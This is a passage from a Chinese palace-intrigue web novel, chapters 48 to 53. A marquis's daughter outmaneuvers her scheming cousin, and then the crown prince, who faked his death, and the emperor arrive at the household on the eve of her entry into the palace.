江澜因在心中大笑,面上却一脸哀戚,她红着眼眶,“恶毒?好狠的话。大哥倒是对表妹好,肯为她得罪郡主,还推我做筏子。幸亏郡主不信,不然,咱们侯府里哥哥妹妹扯不清楚,传出去,成什么了?一窝畜生吗?” 靖威侯大吼:“江慎,住嘴!你的事儿一会儿再说!一顿家法总跑不了!” 他看向文氏怀中不声不响,只知道的哭的文师师,声音低沉: “侯府养你十年,已是仁至义尽。不能因为你贪生怕死,反倒连累侯府。你做了鬼,也要知道恩怨相抵,勿要怪本侯。” 说罢,再不容情。 “来人,把表小姐带下去,好好儿送她走。” 送她去死! 文氏哭喊着,可根本挡不住几个壮硕家丁冲进来,架起文师师胳膊,就要往外拖。 文氏向江澜因哭喊:“你快求求你爹,放过你表妹!她是你的姊妹啊!” 江澜因心中笑得不行。 被逼到这个份儿上,为了文师师太子妃的前程,文氏都咬紧牙关不肯说太子的事,反倒推自己出去求情。 眼见要被拖走,文师师却忍不住了。双手死死扒在门框上,大喊:“靖威侯,你岂敢动我?我背后的贵人,你得罪不起!” 靖威侯一愣。 文家败落,主家被贬离京,尚留在京中的几支根本不成气候。 文师师背后能有什么贵人? “虚张声势。”靖威侯拧眉,耗没了最后一点耐心,“快,拖下去!” 文氏大声道:“侯爷,是真的!您不想想,师师背后若无贵人指点,她怎么敢这般行事?那可是当着皇后娘娘的面假死!” 靖威侯脸色变幻,害怕得罪贵人。 “且先……再等等。” 小厮们松了手,垂手退出。 文师师换身脱力,扶着门框慢慢滑倒在地。她飞快地看了江澜因一眼,语气中些微的得意,“师师背后,是通天的贵人。贵人也不会叫师师在侯府常住,他今日就能来接我走。若是到时候不见了师师,侯爷这侯府,百十来条性命,只怕保不住。” 文氏:“侯爷,师师你从小看到大,该知道她是个极好的孩子,从不撒谎。” 靖威侯却在想,能在何皇后眼皮子底下,偷梁换柱,助文师师逃生…… 有这般手段,莫非真的是了不得的大贵人? 宫里的哪位娘娘? 江澜因不必看靖威侯的脸,就知道,他怕了。今日杀不了文师师。 不过,她也没想让文师师就死。 毕竟,饵要活着,才香。 文师师一再保证,今日贵人就会来接她。靖威侯多允了她一天性命。 “带去柴房,好生看管。不许人去看她。” 又道:“今日之事,谁也不准说出去。否则是抄家灭族之祸!” 靖威侯要走。 江澜因哭得愈发大声,“大哥今日的话,传出去,我是不能入宫的了!” “因因,不至于……”靖威侯脚步一顿。 才想起来,今日是江澜因受了委屈。她毕竟是要入宫的人,不好太苛待。且今日之事,她实在无辜。 靖威侯:“承诺你的一百八十八抬嫁妆,爹叫你娘给你抬到二百二十抬。还有从前你娘私下里给你表妹多少东西,爹都叫她找出来给你。因因,你还有几日就要嫁入宫中,今日之事,你就权当不知道吧。” 不过是把本来就该给江澜因的东西,还给了她。 更别说嫁妆只是抬出去转一圈,又要赐还母家,江澜因不过空赚一个面子。不过文氏私底下给文师师的好东西却不少,盛京最好地段的铺子,就有八间。 江澜因赚了。 她又抬袖拭泪,委委屈屈地答应:“是。爹,因因都听你的。” 众人都走了,热闹了大半日的兰蕤轩安静下来。 周嬷嬷和沉璧跪在江澜因跟前:“姑娘,今日之事是侯府家丑,奴婢们不会说出去。” 江澜因:“让二位见笑。” 两人对视一眼,齐齐叹了口气。 她们是外人,才跟着江澜因没几日,看得更为清楚。 这偌大侯府,侯爷利益熏心,侯夫人莫名偏心一个表姑娘,世子更是……都没眼看。竟没一个好人。 周嬷嬷:“奴婢有什么?只是,委屈了姑娘。” 江澜因笑笑,摇摇头。 她早没什么情绪了。 看在周嬷嬷、沉璧眼中,却觉得她被爹娘、大哥伤透了心。 她们既然被赏给了江澜因,就和她是一条绳上的蚂蚱。周嬷嬷:“依老奴看,那表姑娘不善。也不知她背后的贵人,到底是谁?” 沉璧:“姑娘,要不要,处置了她?” 是真心实意为江澜因着想。 “不必处置。”江澜因笑道,眼睛一亮,“倒是嬷嬷,想不想发一笔小财?” 柴房里。 文师师跌倒在地。身下的干稻草刺着皮肤,又痒又痛。 她脸颊肿起半边,衣裙也尽都皱了,眼中闪过怨恨。 该死的靖威侯,敢这么对她! 还有江澜因…… 想起刚才江澜因那一脸似笑非笑的模样……她是侯府小姐,那样高贵优雅,高高在上。 文师师恨不得撕烂她的脸! 侯府千金怎么了?容貌明艳又怎么了? 她娘不爱她,她大哥厌憎她。 就连她的未婚夫婿当朝太子,还不是被她文师师抢来? 文师师原本清秀的脸上满是狠戾,她畅想着,等江澜因知道,自己背后的贵人,竟是她心心念念的太子,还不知她要哭成什么样呢。 真是期待…… 柴房窄小的窗外,日影渐渐西斜。 一阵脚步声传来。 文师师猛地瞪大眼睛。是太子殿下来接她了! 门外,响起江慎的声音:“滚开,本世子要见表姑娘!” 一个老嬷嬷应道:“侯爷说了,不许人探望表姑娘。老奴要去禀报侯爷。” “大胆!” 江慎的语气很硬。 但接下来,却是叮咚声响。 ——是江慎在掏银子,用力拍在周嬷嬷掌心,“拿去!不准再挡本世子的路!” 片刻后,江慎急匆匆进来,“师师,对不住……都是大哥害了你。” 文师师掩下眼中怨毒,勉强敷衍:“不怪大哥,是师师自己命不好。” “看门的老婆子已经被我买通,你跟我快走。” 文师师不肯走,她等太子来救她。 两人正拉扯间,门外又传来那老嬷嬷声音:“侯夫人,侯爷说了,不许人进去。” 又是一阵银钱声响。 江慎:…… 文师师:…… 文氏推门进来,一见江慎扯着文师师袖子,变了脸色,“放开你妹妹!” “娘!”江慎不肯放手,“我真心爱慕她……” “够了!不要再说了!”文氏大叫,“她是你妹妹!” “是表妹,”江慎纠正,“表妹而已,算不得正经妹妹。” 文氏:…… 三人吵做一团,都没听见,身后的门,被无声地关上,锁死。 周嬷嬷求见靖威侯,“……侯夫人和世子背着您,去见表姑娘,老奴只怕出事。” “还是你想得周到。” 靖威侯又赏赐了一笔。 周嬷嬷荷包鼓得快要溢出来。这侯府的银子,也太好赚了。 姑娘也大方。只是……爹娘偏心,她没人疼爱,当真可怜。 周嬷嬷引着靖威侯冲到柴房,正听到文氏嗓音尖锐,“慎儿,你不可对师师生那等心思,她、她真的是你的妹妹呀!她和江澜因一样……” 靖威侯一脚踹开门,“文氏,你再说一遍!” 小小柴房里,吵做一团。 另一边。 江澜因算着,云岫应该差不多已经找到了太子。 太子殿下,也该来了吧? 第49章 太子不来了? 第四十九章 太子不来了? 云岫出了侯府,一路避着人,到了京郊一处庭院,三急两缓扣门。 开门的是离九。 云岫:“我家小姐有信给殿下,奴婢求见殿下。” 她眨了眨眼,逼出眼中泪意,“小姐她在侯府过得艰难,想念殿下。” 这都是文师师早先就教她说的话。 离九收了信。“姑娘回去吧,殿下自有决断。” 云岫不肯,“小姐担忧殿下,叫奴婢务要见殿下一面,还有话说。” 离九无奈,“殿下现在……恐怕没法子见你。” 卧房内,重重帘幕低垂。 顾言泽侧卧在床榻上,昏迷不醒。 高热已经一天了。 他身体底子本就不甚好,之前又在军中屡遭刺杀,身上还有些余毒未清。前日为了逃出温泉庄子,又伏水,在水下与江澜因痴缠太多时候,少不得呛咳了几口,自上岸,就病倒了。 离三使重金请大夫来看,用了些药,可大夫也说,要好全,怎么都得五日七日好生修养。再折腾,只怕留下终身病根。 离三离九不敢动,只得叫小武日日伺候在顾言泽身边,他们两个负责巡视护卫,一时间倒把文师师给忘到了脑后。 不想今日被云岫找上门来。 不见顾言泽一面,云岫哭闹着,怎么都不肯走。 离九怕她招来旁人,只得让她进来,隔着帘子远远地望一眼。 “云岫姑娘,殿下是病了。等过几日能起身,自然去接文姑娘走,叫你家小姐再忍耐些时日。” 云岫眼珠微转。她实在不想回侯府,得为自己争一把。 “离九哥,殿下金尊玉贵,如今又病了,身边怎能只有一个小太监伺候?奴婢只怕他粗手笨脚,倒伤了殿下。不若,就让奴婢留下来吧。奴婢会伺候人,照顾殿下早一日好起来,也好早一起接上小姐出城,您说是不是?” 云岫留下来,做起了太子贴身侍女的活。 她用棉布沾了酒水,为顾言泽擦拭滚烫的手心。离得近了,听见太子哑着嗓子呢喃:“……因因,等孤……” 侯府,柴房里。 靖威侯发泄着怒火:“文氏,你猪油蒙了心!文家现在如何能跟侯府比?你的侄女竟妄想和因因一样!痴心妄想!都是我平日里,太纵着你了!” 他对自己素来自信,觉得文氏嫁他是高嫁,是她求来的福分。 一声声叱骂在柴房里响得如滚雷一般。 文氏腿软,跌倒在地。她按住狂跳的心口,后怕不已。 幸亏靖威侯蠢,没听出端倪…… 可论听不懂人话,她的长子江慎也不逞多让。 骂完文氏,靖威侯又向江慎:“本侯的话,你们全当做耳旁风。江慎,你去领那二十棍家法了吗?” 江慎面上一滞。 文氏:“侯爷,家法要褪衣打板子,慎儿是世子,怎能……” “他是个屁世子!”靖威侯大吼,“上次皇上亲口说不允他的世子之位,你全忘了?文氏,这就是你教养的好儿子,好侄女!要把侯府搅个天翻地覆!这就是你当的好家!” 不等文氏再开口。 靖威侯:“今日就把账本、库房钥匙交出来,我不用你管家!” 最后他又冷冷扫视文师师一眼,“你最好没欺瞒本侯,不然……” 文师师:“姑丈放心,贵人今日一定会来。” 到晚间,太子没来。 江慎被拖出去打板子,被十板打得鬼哭狼嚎。祭出清河郡主来,才免了后面十板。 可也被打得浑身是血,烂泥一样瘫在榻上起不来。 文氏被迫连私库钥匙都交了出来。 靖威侯当下就开了库门,当着江澜因的面,大手一挥:“你母亲的东西,就是你的东西。来人,都登基到大小姐嫁妆册子上去。” 又对江澜因说:“爹是看明白了,这么多年,真心实意为了这个家着想的,只有你。因因,从前,是爹对不住你。” 孩子死了知道奶了。 江澜因是真真正正死过一次的人,不会被轻飘飘几句话,面子上的风光遮蔽眼睛。 她含笑:“爹知道因因的心就好。只是,爹不让娘管家,这个家,往后谁来当?” 江家二房三房,一早分了家。靖威侯上头又没有母亲。 偌大一个侯府,除了文氏,竟没一个能主持中馈的女主人。 靖威侯刚才是一时气恼,才夺了文氏的管家权。江澜因这样一问,他也犯难。 另一边,文氏看着一箱子一箱子的好东西从自己私库里抬出去,心痛得几乎要滴血。 那是她给师师攒下的嫁妆,给慎儿备下的彩礼啊! 怎能给江澜因? 她贴身伺候的袁嬷嬷连忙劝慰:“夫人您别急,这些嫁妆不过抬出去转一圈,等皇家赐还母家,还是您的,一样都少不了。” 她压低声音:“再说,您当家多年,这掌家权,是侯爷想夺就夺的?过几日,家里无人管事,都乱了套,侯爷还要回来求您呢。” 文氏这才觉得心口好受了些,她咬牙:“江澜因得了面子上的好处,好东西还该是师师的。师师才是有前途的那一个。” “是。”袁嬷嬷附和道:“师师小姐孝顺,夫人的福气还在后头呢。” 叫谁帮忙管家?靖威侯委实决断不下。 “因因,你是个好的。可惜,你要嫁进宫里去,管不得家了。” 江澜因:“爹,管家不是什么难事,最要紧的,得是个可信的人。” 靖威侯点头。 文氏嫁妆再丰厚,能耐再强有什么用?经此一事,他还看不明白?文氏早就与侯府离了心,一门心思只想贴娘家,捧她那个侄女! 江澜因:“爹不是还有几房姨娘,难道没有爹肯信的?” 靖威侯皱眉,“姨娘管家?她们小门小户的,没见过世面,怕出错。” “她们是爹选的人,出身不会太低。人品也信得过。”江澜因微微皱眉,声音娴静,一副一心为侯府着想的模样,“爹若觉得她们年轻,没经验,女儿把周嬷嬷留在侯府帮衬,如何?” “她是皇上赏你的人,她肯?” 江澜因点头:“她愿意的。周嬷嬷早先在宫中也管过一宫的钱粮,是个有能耐又忠心的。她又宫中出来的,必不会生出异心。有她在旁协助,无论是哪个姨娘管家,爹都能放心。爹,您说呢?” 靖威侯:“就按你说的办。这个家,交给你娘管,她早晚都贴给了文家!” 父女两个说着话。 江澜因抬头看天。 月轮升起,群星闪烁。是个好天。 江澜因:“都这么晚了,表妹说的那位贵人,怎么还不来?” 第50章 要亲眼看着表姑娘断气 第五十章 要亲眼看着表姑娘断气 一整晚静悄悄的,谁也没来。 在贵人一事上,靖威侯素来格外谨慎。他又多容了文师师一日。 直到江澜因入宫的前一天。 眼看着夕阳渐渐沉落,靖威侯耐不住性子了。他对江澜因说:“明日是你要入宫的好日子,今日为父替你处置了文师师。” 要杀人,还想让江澜因背锅。 江澜因淡淡地笑:“爹不是为我,是为侯府。” “是,是,都是为了侯府。”靖威侯站直身子,扬声道:“把表姑娘请过来,当着本侯的面,处置干净了吧。” 那表姑娘可是曾在皇后跟前都敢弄虚作假假死。这次,他不眼睁睁看着文师师断气,他不放心! 文师师被下人拖拽过来,推她跪在地上。 短短两个昼夜,十年来侯府在她身上娇养出来的贵女气度就被耗尽。 文师师从一开始满怀信心和笃定,到现在,只剩下惊惶和恐惧。 太子明明选了她,明明更看重她!答应过她! 怎么还不来接她? 云岫也不回来,没有消息…… 当着江澜因的面,文师师强撑着嘴硬,“侯爷,你这么对我,等我背后的贵人来了,你追悔莫及!” 她连姑丈都不叫了。 大声哭闹吵嚷,惊动了半个侯府,引来文氏。 “侯爷,师师向来孝顺,她未得罪过你,你为何就是不肯放过她?她、她还是个孩子啊!” 文氏心碎欲裂,拼命地护着文师师,侯夫人的体面都不顾了。 这几日,文氏也煎熬得够呛,一张脸都蜡黄了,额头、眼角都堆起细纹,眼见着老了几岁。 靖威侯只看了一眼就转开了目光,“文氏,你不要犯糊涂。你那侄女犯的是抄家灭族的大罪,沽名钓誉,欺瞒天家,她不该死吗?” “侯爷,侯爷!”文氏声音尖锐地哭喊,“江澜因要入宫,却在前一日害死师师,江澜因你不亏心吗?” 这样胡搅蛮缠的话,江澜因不屑答。 她低了头,手指轻拂过裙摆,掸去看不见的灰尘。 “关因因什么事儿?”靖威侯一把将文氏扯到一旁,压低了嗓音,“就因为她明日必有宫里人来接,多人眼杂,你那侄女万一被人瞧见,就全完了!何况,这么多年,你那侄女怎么欺负的因因?不处置她,女儿心中有怨。往后进了宫,哪里还会照拂母家?” “师师何曾欺负过江澜因?侯爷,你太偏心了!” 靖威侯失去了耐心,瞪着眼睛大吼:“没欺负过?你做娘的眼瞎看不见?” 他只是不喜欢,不关注江澜因。 可也没多喜欢文师师。 反而他的心是平的,把一切都看在了眼里。 “逢年过节,你把鲜亮料子,好衣裳好首饰都给你那侄女,因因只能穿老气颜色。有上得了台面的宴会,你只带着你侄女去,把自己女儿锁在家中。你侄女的生辰年年大办,你女儿呢?你可还记得她是几月几日生的?” 连番的质问,怼得文氏白了脸,说不出话。 靖威侯:“再说,因因她是堂堂侯府嫡女,你我唯一的女儿。对一个客居的表姑娘,她难道欺负不得?你今日说一千道一万,我的主意不会更改!你那侄女,必死无疑!” 他看向文师师,狰狞道:“不是愿意为太子殉葬博美名吗?今日,本侯就送你下去陪伴太子!” 说罢便要叫下人勒死文师师。 “不要,侯爷!不要啊!”文氏阻拦不过,被推倒在一边,她实在没了法子,大喊:“侯爷,师师得贵人爱重,你动了她,咱们全家是要遭殃的!” 一提这个,靖为侯都气笑了,“贵人?你们口口声声说的贵人,在哪儿呢?都到了这时候,还想骗我!” 一旁的文师师被下人押着肩膀,就要拖走。 她拼命挣扎着。一抬头,见江澜因静静站在阶上,静静地睨着自己。 皎洁月光映在江澜因面上,更衬得她肌肤莹白如玉,散发着微光。 她面上没有自己想象出来的快意神情,反倒是……觉得有些无聊似得,轻轻撇了撇唇角。 叫文师师不由想起从前文家老太太养过一只漂亮的白猫。那猫儿被养得娇,逮了鼠儿不屑入口,只是逗着玩。 戏弄老鼠,一直到死。 这一刻,文师师觉得,她就是那只老鼠。 心底涌上莫大的恐慌。直到这一刻,文师师才不得不逼着自己承认,太子不来救她,她真的会死。 她不要死! 她不要! 拼尽了全身的力气,文师师一把推开拉扯自己的下人,不要命地奔逃到院子里。 她有保命的东西! 太子不会放弃她的,一定会来救她! 自胸口衣襟里摸出一支特质乌金箭筒,猛地拉开暗扣。 “——咻!嘭!” 尖锐至极的厉啸破空而起。 金色响箭直窜夜空,升至最高处,猛地炸开一团金红色火光。 这颜色,这形制…… 乃皇家专有! 靖威侯猛地一愣,他几步跨到院中,“那位贵人,到底是谁?” 文氏赶出来,哭道:“师师,事到如今,你就说了吧!” 夜幕中的火光照亮了文师师侧脸,她心中升起一阵快意。目光越过靖威侯和文氏,径直看向江澜因。 轻蔑地,一字一句道:“是太子。” 顾言泽藏身处。 病榻上的太子猛地睁开眼睛。 夜空中,那朵焰火映在他眸中。 “殿下,”云岫几乎要喜极而泣,“您终于醒了!” 顾言泽掀开身上的被子,踉踉跄跄冲到窗边。他看清了,那焰火,是从靖威侯府发出的。 靖威侯府……江澜因! “今日,是什么日子?孤睡了几天?” 云岫报出日期,“殿下睡了快三日,可觉得好些了?” “三日了……”顾言泽眼睛猛地瞪大。 明日一早,江澜因就要进宫,就要做他父皇的妃嫔! “来人!备马!”顾言泽忍下身上的不适,“孤去一趟靖威侯府,然后直接出城!” 后宫。 丽嫔伴驾的瑞福殿。 她才二十四岁,年轻娇俏,在皇帝跟前最是放得开,很得顾辰枭的喜爱。 丽嫔看向窗外,天真惊呼道:“皇上快看,焰火!好美好美的焰火!” 她没察觉到顾辰枭冷了脸。 皇帝看得清清楚楚,金红色焰火,专供皇室。 有资格用的,除了自己,只有…… 太子。 “是何处,何人?” “回皇上的话,是……靖威侯府。” 靖威侯府……江澜因?! 皇帝面色愈发不善,黑沉。 入宫前一夜,江澜因在侯府燃放太子赠她的焰火,什么意思? 她心里还想着太子吗? 第51章 谁敢动她?她是孤的人! 第五十一章 谁敢动她?她是孤的人! 丽嫔向来嘴快,爱说爱笑。 “靖威侯府?这名字,当真耳熟……是了!那不是还未入宫的江嫔妹妹母家吗?怎么这时候放焰火?莫不是舍不得女儿出嫁?” 她眼珠儿一转,依附到顾辰枭身侧,“皇上,贤妃姐姐病了。明日新晋秀女便要入宫,臣妾真担心,到时候下人有纰漏,伤了天家颜面。” 皇帝看了丽嫔一眼。 她年轻,娇俏,出身不高。 素来依附何皇后。 顾辰枭沉吟片刻:“贤妃既然病了,秀女入宫还是皇后理事。去把皇后请来,丽嫔,你也跟着听一听。” 片刻后,何皇后被请到瑞福殿。 她一身素衣,头上寥寥几根金簪、玉簪,挽住头发,没有步摇、流苏等华饰。整个人显得略带几分憔悴。 皇帝拧眉,“怎么瘦了?近来可是身子不适?” 何皇后红了眼圈,在丽嫔跟前强忍着,“回皇上的话,妾身身体很好,没有不适。” 她身边新拔擢上来的费嬷嬷忙道:“皇上,娘娘这几日自省,过午不食,可不就瘦削了?” 皇帝:“皇后,你何必自苦?” “臣妾不是自苦,是知道……自己御下不严,从前做错了。想想臣妾这些年错得厉害,臣妾吃不下……” 皇帝动容。何皇后出身高贵,入宫伴驾多年,性子一向强势。如今肯低头到这种程度…… 是自己,对她太苛了。 ……为了江澜因。 “江澜因”这三个字,总是不时跳出来,打断顾辰枭思路。 他按了按眉心,有些不耐:“皇后没有错,勿要苛责自己。明日,秀女入宫诸般事宜,还要皇后操心。” 何皇后紧绷着的双肩松弛下来。 自从贤妃“病”了,她一直在等皇帝重新启用自己,等得心焦。 今日终于等到了。 看来…… 丽嫔还算得用。 心中千回百转,面上滴水不漏,何皇后:“臣妾义不容辞。可、可臣妾是临时接手,只怕诸般事宜,没那么完备。就譬如,江嫔妹妹的册封礼……” 江澜因与别的秀女不同。 旁人都不过是才人、贵人,低微嫔妃,无需册封。 可她是嫔,入宫便要有册封礼。 何皇后在试探。 夜空中的那朵金红色焰火,在皇帝眸子深处又闪了一下。还有,浑身湿透的江澜因脖子上那枚玉坠。更甚者,她睡梦中一声声唤着太子…… 她心里藏着的,到底是谁? 皇帝语气不耐:“来不及筹备,就让她等着。什么了不得的事?” 得了皇帝这话,皇后与丽嫔飞快地对了一下眼神。 何皇后脊背挺直,容光焕发,“是。臣妾都听皇上的。” 丽嫔百般挽留,顾辰枭没有留宿瑞福殿,也不曾去皇后的坤宁宫。 他一个人回到了书房。 那朵焰花在脑子里不断炸响,扰得皇帝静不下心来。 他纳她入后宫,也不是全无阻力。 自从她那日坐着九凤辇从宫中抬回侯府,此事算是过了明路。她是风光了,他却引来一众朝臣的攻讦。 有说话难听的御史,“祸国妖妃”都骂了出来。 为了不给她一个小姑娘树敌,顾辰枭很是用了一番制衡手段,方才压下去。 他为她入宫,铺平了道路。 可她呢? 她心里,还惦记着别的男人。 当真是…… 错付了。 顾辰枭只觉心口焖烧着一团火,无处发泄。 罢了,狼心狗肺的东西,等她进了宫,冷着她,权当没纳过她就是了。 把她丢到一边,让她自生自灭。 已做好了决定,顾辰枭却不知自己还在生谁的气。他一把拂落案上的杯盏,摔得粉碎。 侯府。 夜幕中的焰火消散无踪,像从未有过一般。 院内一片寂静。 被靖威侯打破:“你还想骗本侯?太子?太子早死了!如今是国丧!” 就因为太子死了,他好好儿一个太子准妃的女儿,变成了皇帝的嫔…… 文氏嘶喊:“侯爷,师师说得都是真的。太子殿下他……还活着。” 文氏现在说谎,毫无意义。 靖威侯震惊,后怕,看向文氏:“太子活着?你也早就知道,只瞒着我一个?” “还有女儿,女儿也什么都不知道。” 江澜因眼眸中迅速浮上一层雾气,轻颤着,看上去又吃惊又无辜,“爹,这是怎么回事?太子他为何要假死?为何要欺瞒我?” 文氏:“太子殿下因不喜欢江澜因,才假死脱身。他心中爱重的,是师师。” 她抬起袖子擦眼角,眼中却无泪,反而觉得有些快意。 这几日,她和她心爱的师师,也被江澜因压得太惨。 文氏:“是江澜因性子不好,不得太子喜欢,又非要嫁给他,才逼得殿下不得不如此。侯爷,你千万不可再伤害师师,让太子殿下寒心……” 靖威侯几乎要暴怒,“你把我女儿好好儿一个太子夫婿,换给了你侄女儿?你还要瞒我?” 江澜因看着他为自己不平,心中全无波动,甚至想笑。 靖威侯不是为了她,而是文氏此举伤害到了他自己的利益。 让他从未来的承恩公位置上跌落下来。 靖威侯对着文氏扬起手,又要打她。 文师师冲过来拦着,“太子殿下不喜因因姐,不是姑母的错!侯爷和因因姐为何只知道责备姑母,却不知自省呢?” 靖威侯当然不会自省。 他看向了江澜因。 莫非,真的是他的女儿因不得太子喜欢,逼得太子假死? 若果真如此…… 江澜因可是有罪! 见靖威侯面色变换,江澜因就知道他心里想的是什么。 不过是左右摇摆,见风使舵罢了。 江澜因:“若果真如此,太子殿下当真糊涂!殿下若不喜我,退婚便是。喜欢表妹,大可以纳侧。何至于假死?他可是国之储君。他假死,让皇上、皇后娘娘有多难过?” 靖威侯一愣,也反应过来。 是啊,为了区区一个女人假死,放在普通人家,都够炸裂的。何况是天家? 那可是太子!一人之下,万人之上的太子。 若果真喜欢文师师,一道口谕,就能把人带走。 何必假死?不至于啊! 文师师面色微沉,“因因姐不懂太子殿下高洁,他、他这样做,是为了和师师一生一代一双人。因因姐,你这种豪门闺女,看惯了家中三妻四妾,你是不会懂的。” 一生一代一双人? 江澜因实在没忍住,笑出了声。 她眼角还挂着泪花,笑得身子轻摆,如弱柳扶风,风姿绰约。 文氏看得心中直冒火,“江澜因,你自己拿不住太子的心,好好儿一个太子准妃弄丢了,你还敢笑师师?殿下连穿云响箭都给了师师防身,可见待她是真心!” 这样一说,靖威侯也犹豫了。 太子还活着,不要他的女儿,却要那文家女。 这…… 得罪不起。 靖威侯:“江澜因,你少说几句。” 又对文师师:“罢了。有什么话,进屋去说。外面太冷,你姑母身子不好,别着了风寒。” 这话一出,文师师还有什么不明白的? 靖威侯已是怕了,被拿捏住。 她高高扬起下颌,睨了江澜因一眼,要扶着文氏进屋。 “等等。” 江澜因抬袖拦住二人去路。 文师师一股火憋屈了好几日,又知道靖威侯已经被自己吓住,不敢对她如何。 抬手就要推搡江澜因,“你给我让开!” 下一刻。 一道厉喝从门口处传来:“谁敢动她?她是孤的人!” 文师师眼睛猛地一亮,几乎要喜极而泣哭出来。 太子! 是太子殿下,接她来了! 第52章 她是朕的人!!! 第五十二章 她是朕的人!!! 真的是太子! 靖威侯膝盖一软,几乎要跪下。幸亏他抓住文氏,相互间扶住了。 文氏见太子果然肯来,心中一松,面上得意,“侯爷,师师没有骗你。殿下爱重她,肯为了她涉险。” 靖威侯心中百味杂陈,看了一眼江澜因。 他的女儿,怎么就没有那么好运? 真如文氏说的,好好儿一个太子准妃,送到江澜因手里,她都拿不住。 无能啊! 文师师见了太子,眼眶瞬间红了上来,娇娇弱弱地唤了一声,“殿下!” 她一把推开江澜因,提着裙子,小碎步跑向顾言泽。 “殿下,你终于来了,师师以为你不要我了,师师等得好苦……” 跑到太子跟前,双手扯住他袍角,“殿下快带师师走吧!” 她眼角适时地滴下一滴清泪。夜色映衬中,楚楚动人。 太子该抬手为她拭泪,该心疼地拥她入怀,该为她出气…… 玄色细缎衣料带着冬日的凉意,拂过手指,好似流水一般,抓握不住。 顾言泽甩开衣袖,从文师师跟前,径直走过。 文师师一愣,“殿下?” 却见他一步步上了台阶。 来到江澜因面前。 “因因……”太子声音嘶哑,眼眸深处翻涌着浓烈的情绪,千言万语汇成一句,“孤还活着,孤来接你。” 如一记响雷,直劈在所有人头顶。 都看向太子和江澜因,难以置信。 太子诈死,如今死而复生。 不是为了文师师,竟是为了江澜因? 那他为何要假死? 可见,说太子此举为了女人,全完是胡扯。 靖威侯松开了文氏的手。 可他也不敢上前细问,只能愣愣地看着。 月光下,顾言泽温润俊朗的脸略显苍白,睫毛在脸颊上头下浅蓝色的阴影,衬得眸子闪烁幽光,宛若星辰。 顾言泽:“因因,你看看孤,孤还活着,你没有在做梦。孤是真的。” 他捧起江澜因的手,贴着他的脸颊。 女孩掌心的微凉,颤抖,让太子的心都要碎了。 “因因,孤是迫不得已,才瞒着你,苦了你了。如今,孤全想明白了……”他一字一句,“孤不能没有你,你跟孤走吧。” 顾言泽眼里没有旁的,只有江澜因的脸。 只见女孩眼睛一下子瞪大,瞳仁巨震,眼尾一抹红,叫人心疼。 她睫毛忽闪了一下,已是沾染上了泪滴。 “殿下?”江澜因声音发颤,仿佛难以置信到了极致,“你竟真的……还活着。” “是,孤有难言之隐,不能回宫。因因,跟孤走。” “不行。”江澜因摇头,面露痛苦之色,泪水飞溅,“因因就要入宫……殿下别再骗我了,你回来,分明是为了表妹。” 她这样一说,所有人的目光又集中在文师师身上。 文师师如遭雷击,整个人愣了,脸色苍白得吓人。 怎么也理解不了眼前看到的这一幕。 太子明明已经选她了呀! 怎会又和江澜因搅在一起?到底为什么?是不是,搞错了? 江澜因声音响起:“表妹说,殿下要与她一生一代一双人,才不得不假死。殿下,既然如此,因因怎好再纠缠你?你还是带表妹走吧。” 文师师眼中燃起希冀。她上前一步,“殿下……” 顾言泽只看了她一眼,就收回目光。 “因因,师师的事,是孤孟浪了。是孤的错。孤会给她新身份,送她走,让她下半辈子好好儿过活。因因,她和你,终是不一样的。” 文师师身子一软,瘫倒在地。 她撞破了头,险些没了半条命,又舍弃了身份,甘愿没名没姓地跟着太子躲避逃亡。 就换来了这个? 顾言泽攥住江澜因手腕,“因因,孤的时间很紧,要赶在午夜之前出门。现在就跟孤走,好不好?” 江澜因是待嫁,身上穿着大红里衣,还未正式着礼服,外面只罩着白色轻纱。她的头发,妃嫔的凤髻才编了一半,剩下一半头发缎子一般披在肩上,在月下闪闪发光。 未完的装扮,倒衬得她有一种奇异的美。 太子从前从未见过。 他手上愈发用力抓紧,“因因,跟孤走。” 不由分说,拉着江澜因往外闯。 眼见着江澜因娇弱,无法抵挡。 靖威侯不得不站出来,拦住:“殿下留步!因因她已是皇上的嫔妃,您不能就这么带走。” 太子轻咳了两声,他身子还未好全,强撑着:“不,因因不是父皇的妃嫔,她是孤的太子妃,生当同衾死当同穴的太子妃。侯爷,让开。” 靖威侯岂敢让? “太子殿下,恕臣直言,您假死逃遁,瞒着因因,要叫她做守节的寡妇时,就是放弃了因因。我靖威侯的女儿,不能由着人这样推来搡去,想要就要,想不要就不要!臣不会让开,殿下勿要用强。” 他难得硬气了一把。 是因为明日一早,宫里来就会来抬人。 这时候江澜因要是走了,明早侯府没法子跟皇上解释。死定了。 无论如何,得把人留下。 可他越是拦着,太子越是执着。 他这几日,没有一日不梦见江澜因在水下的模样。他不能失去她,决不能! 顾言泽不管不顾,把江澜因打横抱起。 女孩惊叫声中,太子厉声道:“侯爷,让开!不然,别怪孤!” 他一声令下,两个暗卫现身,持剑挡在江澜因身前。 面对太子,靖威侯不敢动私兵。只能眼睁睁看着,顾言泽抱着江澜因,一步步往外。 就要走出门去。 一声雷霆般的怒吼响起:“放开她!” “她是朕的人!” “皇上?!” 这下,靖威侯的心脏和膝盖都彻底受不住了,扑通一声跪倒在地,眼前一阵一阵地发晕。 怎会? 皇上怎会来了? 片刻前,寝宫内。 顾辰枭闭上眼睛,眼前还是那朵焰火花。 睡意全无。 他被自己的念头困住:江澜因到底是怎么想的?她骗没骗他? 本可以等到第二日,她入宫了再问。 可…… 他的后宫,不是惩戒人的刑场,更容不下别有用心的女人。 她若是骗他…… 他大可以重新下旨,不要她了。 他今日就要问个清楚。 第53章 兵围侯府,她死定了 第五十三章 兵围侯府,她死定了 眼前一幕撞进眼帘,顾辰枭几乎稳不住身子。 就算他是高高在上的帝王,九五之尊,也从未想过—— 已死去的爱子,竟活生生地出现在眼前。 “言儿?” 顾辰枭声音紧绷,难以置信。“言儿,你还活着?” 他的爱子,大盛的太子,还活着!活着! 席卷整个心肺的惊异过后,涌起喜悦。 得知太子死讯那一日,顾辰枭与世间所有痛失儿女的爹娘一样,恨不得以身相替,换儿子活着归来。 现在,他真的回来了…… 作为父亲,顾辰枭一时顾不得别的,只余惊喜。 他上前一步,抬手就要揽住顾言泽肩膀。 目光却一怔。 看到了他怀中的江澜因。 她身上婚服还未穿完,妆容也只上了一半,脂粉掩不住她苍白的脸色。 江澜因嘴唇颤抖,一句话也说不出。只有泪水沿着脸颊滚滚而落。 顾辰枭:“放下。” 顾言泽一往无前的气势一滞。 来之前,他信心满满,从未想过别的。他是当朝太子,无人能拦他。 只除了……皇帝。 “父皇……” 顾言泽知道,自己走不了了,再也走不了了。 